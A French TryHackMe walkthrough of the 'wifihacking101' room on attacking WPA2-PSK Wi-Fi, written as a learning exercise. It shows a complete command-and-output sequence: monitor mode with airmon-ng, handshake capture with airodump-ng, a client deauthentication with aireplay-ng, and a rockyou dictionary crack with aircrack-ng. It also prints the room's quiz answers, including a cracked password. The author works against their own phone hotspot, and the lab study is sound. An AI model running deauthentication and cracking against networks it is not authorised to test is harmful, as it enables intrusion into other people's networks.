Try Hack Me Walkthrough - wifihacking101

  • Machine ciblée : wifihacking101.

  • Répertoire : /home/kali/wifihacking101

  • Temps passé dessus :

Changelog du template

  • Version 1.0 - Sep. 2022 : création du template de base pour HackTheBox

  • Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base

  • Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe

  • Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit

  • Version 1.4 - Dec. 2022 : Changement de l’export vers searchsploit pour gagner du temps + rajout des scripts vuln sur le full pour confirmer.

Tâche 1 : The basics - An Intro to WPA

Ok donc j’ai besoin d’apprendre pour la Side Quest de Noël, pour cela, j’ai cherché une room sur TryHackMe qui présente les attaques sur le WiFi. Petit cours : Key Terms

  • SSID: The network « name » that you see when you try and connect

  • ESSID: An SSID that may apply to multiple access points, eg a company office, normally forming a bigger network. For Aircrack they normally refer to the network you’re attacking.

  • BSSID: An access point MAC (hardware) address

  • WPA2-PSK: Wifi networks that you connect to by providing a password that’s the same for everyone

  • WPA2-EAP: Wifi networks that you authenticate to by providing a username and password, which is sent to a RADIUS server.

  • RADIUS: A server for authenticating clients, not just for wifi.

The core of WPA(2) authentication is the 4 way handshake.
Most home WiFi networks, and many others, use WPA(2) personal. If you have to log in with a password and it’s not WEP, then it’s WPA(2) personal. WPA2-EAP uses RADIUS servers to authenticate, so if you have to enter a username and password in order to connect then it’s probably that.
Previously, the WEP (Wired Equivalent Privacy) standard was used. This was shown to be insecure and can be broken by capturing enough packets to guess the key via statistical methods.
The 4 way handshake allows the client and the AP to both prove that they know the key, without telling each other. WPA and WPA2 use practically the same authentication method, so the attacks on both are the same.
The keys for WPA are derived from both the ESSID and the password for the network. The ESSID acts as a salt, making dictionary attacks more difficult. It means that for a given password, the key will still vary for each access point. This means that unless you precompute the dictionary for just that access point/MAC address, you will need to try passwords until you find the correct one.

Question 1 : What type of attack on the encryption can you perform on WPA(2) personal?

La question est simple, le type d’attaque utilisable sur tous les mots de passes est le brute-force.

Question 2 : Can this method be used to attack WPA2-EAP handshakes? (Yea/Nay)

La réponse est : Nay.
Bon, je suis pas d’accord, on peut bruteforce aussi bien un couple login/mdp, mais apprement c’est pour eux non …

Question 3 : What three letter abbreviation is the technical term for the « wifi code/password/passphrase »?

Ok, celle là aussi, il faut la trouver. Pour comprendre, j’ai cherché sur Wikipedia. En fouillant les termes techniques, on trouve la notion de PSK pour Pre-Shared Key.

Question 4 : What’s the minimum length of a WPA2 Personal password?

Recherche Google on trouve une longeur à 8.

Tâche 2 : You’re being watched - Capturing packets to attack

Ok donc on part sur la 2nde partie, comprendre comment fonctionne AirCrack.Pour ça, j’aurai aimé avoir une doc, mais ce n’est pas le cas. Pas super cool sur cette partie, mais soit, on va apprendre par nous même. En cherchant des documentations, on trouve une doc qui nous explique comment faire. Pour ça, on va commencer, par prendre un mot de passe présent sur RockYou, ça permettra de le brute force par dictionnaire.

lucas@OP3:~$ head /usr/share/wordlists/rockyou.txt -n 10000 | shuf -n 5 -
0122905862

J’ai donc préparer mon téléphone en point d’accès avec ça comme mot de passe. Le principe maintenant va-t être de comprendre comment bf le wifi en WPA2.

# 0. On liste nos interfaces
lucas@OP3:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
5: enx482ae37ce038: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether 48:2a:e3:7c:e0:38 brd ff:ff:ff:ff:ff:ff
9: wlp2s0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether bc:f1:71:8e:70:d4 brd ff:ff:ff:ff:ff:ff

# 1. On ouvre l'interface en moniteur$
lucas@OP3:~$ sudo airmon-ng start wlp2s0
lucas@OP3:~$ sudo airmon-ng  start wlp2s0

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
   2953 avahi-daemon
   2965 NetworkManager
   3102 wpa_supplicant
   3227 avahi-daemon

PHY	Interface	Driver		Chipset

phy0	wlp2s0		iwlwifi		Intel Corporation Wi-Fi 6 AX200 (rev 1a)
		(mac80211 monitor mode vif enabled for [phy0]wlp2s0 on [phy0]wlp2s0mon)
		(mac80211 station mode vif disabled for [phy0]wlp2s0)
# 2. On kill les process qui emmerdent arimon  ## /!\ Ça a fait planter ma carte wifi après, plus moyen de me connecter à un réseau, il faudra penser à les relancer. De plus, avahi s'arrête pas. 
lucas@OP3:~$ sudo airmon-ng check kill

Killing these processes:

    PID Name
   3102 wpa_supplicant
 223424 avahi-daemon
 223427 avahi-daemon

# 3. On regarde les réseaux qui sont autours de nous.  Cette étape va créer différents fichiers dans le répertoire courant. C'est à ce moment là que j'ai ouvert un wireshark pour comparer les pcap avec celui de l'event
lucas@OP3:~$ sudo airodump-ng -w psk wlp2s0mon
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

12:9C:E9:99:89:80  -31        1        0    0   6  360   WPA2 CCMP   PSK  Hidden
72:5F:CF:1F:FB:AD  -72        2        0    0   1  180   WPA2 CCMP   PSK  OPPO

# 3'. On vise notre seul routeur à l'aide de sa MAC
lucas@OP3:~$ sudo airodump-ng -w psk --bssid 12:9C:E9:99:89:80 wlp2s0mon
12:9C:E9:99:89:80  -30 100      129        0    0   6  360   WPA2 CCMP   PSK  Hidden

# 3''. On vise notre routeur à l'aide de son channel d'émission. Attention, ça a flooder le wireshark. 
sudo airodump-ng -w psk -c 6 wlp2s0mon

12:9C:E9:99:89:80  -30 100      129        0    0   6  360   WPA2 CCMP   PSK  Hidden
0A:CE:4B:42:FF:51  -58 100      126      319    2   6  130   WPA2 CCMP   PSK  PassePartoutDuFortBoyard

# 4. On doit obtenir la mention "EAPOL" dans la partie Notes. Pour cela, 2 choix, soit je reste en écoute pour une durée infinie et j'attends que les gens se connectent ; soit je fais déconnecter les clients pour qu'ils se reconnectent et ça doit me donner la valeur que je souhaite. Ici, je montre la partie déco. 
# 4.0. Je regarde les clients présents
lucas@OP3:~$ sudo airodump-ng -w psk --essid Hidden wlp2s0mon 
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

12:9C:E9:99:89:80  -30        4        0    0  11  360   WPA2 CCMP   PSK  Hidden

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
12:9C:E9:99:89:80  80:1F:02:65:46:AE  -67    0 - 1      3        5         Hidden

# 4.1 Je tente de lancer le replay
lucas@OP3:~$ sudo aireplay-ng -0 1 -a 12:9C:E9:99:89:80 -c 80:1F:02:65:46:AE wlp2s0mon 
14:40:30  Waiting for beacon frame (BSSID: 12:9C:E9:99:89:80) on channel 1
14:40:32  wlp2s0mon is on channel 1, but the AP uses channel 11

# 4.2 Je lance mon airodump **uniquement** sur le channel souhaité
lucas@OP3:~$ sudo airodump-ng -w psk --essid Hidden wlp2s0mon -c 11
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
12:9C:E9:99:89:80  -27       26        5    0  11  360   WPA2 CCMP   PSK  Hidden

BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
12:9C:E9:99:89:80  80:1F:02:65:46:AE  -60    1e- 1e     0        6     
# 4.3 Je lance le replay comme désiré
lucas@OP3:~$ sudo aireplay-ng -0 1 -a 12:9C:E9:99:89:80 -c 80:1F:02:65:46:AE wlp2s0mon 

# 5. On crack le mot de passe
lucas@OP3:~$ aircrack-ng -w /home/lucas/shared_vm/Linux/rockyou.txt -b 12:9C:E9:99:89:80 psk*.cap
                               Aircrack-ng 1.6 

      [00:13:38] 14179426/14344392 keys tested (17605.96 k/s) 

      Time left: 9 seconds                                      98.85%

                          KEY FOUND! [ 0122905862 ]


      Master Key     : D7 DF 02 72 B2 24 FE EA 77 A3 AE 6F 8B A6 EB AA 
                       E0 AE 57 6A AF AB 3C 0E 7C F5 56 EB AA 7D DA 6B 

      Transient Key  : 37 3E 7F 05 FE 40 2E 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

      EAPOL HMAC     : BA 52 81 66 D3 3D 49 F9 F5 36 EB C3 1E 58 5D DB 

# 6. On arrête la capture 
lucas@OP3:~$ sudo airmon-ng stop wlp2s0mon

# 7. Relancer les services nécessaires : 
lucas@OP3:~$ sudo systemctl restart NetworkManager.service

Au final, j’ai les réponses de l’ensemble des questions ci-dessous :

Question 1 : How do you put the interface “wlan0” into monitor mode with Aircrack tools? (Full command)

airmon-ng start wlan0

Question 2 : What is the new interface name likely to be after you enable monitor mode?

wlan0mon

Question 3 : What do you do if other processes are currently trying to use that network adapter?

airmon-ng check kill

Question 4 : What tool from the aircrack-ng suite is used to create a capture?

airodump-ng

Question 5 : What flag do you use to set the BSSID to monitor?

–bssid

Question 6 : And to set the channel?

–channel Ok, celui là, je « l’avais pas », mais tu réfléchis 20s et tu comprends ce que dis mon -c …

Question 7 : And how do you tell it to capture packets to a file?

-w

Tâche 3 : Aircrack-ng - Let’s Get Cracking

Ok donc on reprends à peu près ce qu’on a fait jusqu’à présent, mais cette fois sur des fichiers fournis par eux. On a juste comme informations :

  • BSSID: 02:1A:11:FF:D9:BD

  • ESSID: 'James Honor 8'

Question 1 : What flag do we use to specify a BSSID to attack?

-b

Question 2 : What flag do we use to specify a wordlist?

-w

Question 3 : How do we create a HCCAPX in order to use hashcat to crack the password?

Celui là, on l’a pas. On va donc regarder l’aide :

lucas@OP3:~$ aircrack-ng 

  Aircrack-ng 1.6  - (C) 2006-2020 Thomas d'Otreppe
  https://www.aircrack-ng.org

  WPA-PSK options:

      -E <file>  : create EWSA Project file v3
      -I <str>   : PMKID string (hashcat -m 16800)
      -j <file>  : create Hashcat v3.6+ file (HCCAPX)
      -J <file>  : create Hashcat file (HCCAP)
      -S         : WPA cracking speed test
      -Z <sec>   : WPA cracking speed test length of
                   execution.
      -r <DB>    : path to airolib-ng database
                   (Cannot be used with -w)

Ok donc on sait que c’est -j.

Question 4 : Using the rockyou wordlist, crack the password in the attached capture. What’s the password?

On va donc lancer l’attaque cette fois. Même fonctionnement que précédement, mais sur un autre fichier.

lucas@OP3:~$ aircrack-ng -w /home/lucas/shared_vm/Linux/rockyou.txt -b 02:1A:11:FF:D9:BD NinjaJc01-01.cap
                               Aircrack-ng 1.6 

      [00:00:07] 128891/14344392 keys tested (19691.69 k/s) 

      Time left: 12 minutes, 1 second                            0.90%

                        KEY FOUND! [ greeneggsandham ]

Question 5 : Where is password cracking likely to be fastest, CPU or GPU?

J’ai pas trop réfléchi pour celle là, en général, c’est sur les GPU que ça va plus vite.

Récapitulatif

Ok donc c’était une box pour apprendre comment se servir de quelques outils de la suite AirCrack. J’ai pas mal bugé sur la partie deconnecter l’utilisateur, mais c’est intéressant. En bref, avec un temps ilimité, si l’on arrive à chopper suffisament de paquet, il est possible de cracker que le WPA2. C’est quand même super intéressant au final, mais ça dépends toujours de la marque du matériel que l’on a.
L’avantage pricipal de ce type d’attaque pour moi est que le brute-force se fait hors-ligne. Une fois qu’on sait ça, et qu’on sait comment sont fait les mots de passes par défaut des box des FAI, c’est plutôt simple de savoir dans quel sens aller …

A retenir

  • L’utilisation d’AirCrack nécessite d’avoir des clients qui se connecte au réseau.

  • Ça marche bien sur du WPA2, si le mot de passe est faible (rockyou).